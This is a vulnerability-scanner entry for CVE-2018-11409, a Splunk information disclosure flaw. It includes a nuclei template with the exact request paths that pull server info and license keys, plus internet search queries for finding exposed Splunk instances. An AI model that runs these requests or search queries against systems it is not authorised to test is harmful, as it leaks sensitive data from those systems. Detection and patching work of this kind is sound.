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CVE-2018-11409· splunk / splunk· CWE-200

Splunk <=7.0.1 - Information Disclosure

mediumseverity
5.3CVSS score
98.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.

Fix

Upgrade Splunk to a version higher than 7.0.1 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json ; GET {{BaseURL}}/__raw/services/server/info/server-info?output_mode=json
Positive when: contains "licenseKeys" AND status 200

Run it with nuclei: nuclei -id CVE-2018-11409 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-11409

info:
  name: Splunk <=7.0.1 - Information Disclosure
  author: harshbothra_
  severity: medium
  description: Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Splunk to a version higher than 7.0.1 to mitigate the vulnerability.
  reference:
    - https://github.com/kofa2002/splunk
    - https://www.exploit-db.com/exploits/44865/
    - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409
    - http://www.securitytracker.com/id/1041148
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-11409
    cwe-id: CWE-200
    epss-score: 0.98221
    epss-percentile: 0.99914
    cpe: cpe:2.3:a:splunk:splunk:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: splunk
    product: splunk
    shodan-query: http.title:"login - splunk"
    fofa-query: title="login - splunk"
    google-query: intitle:"login - splunk"
  tags: cve,cve2018,edb,splunk,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json'
      - '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - licenseKeys

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from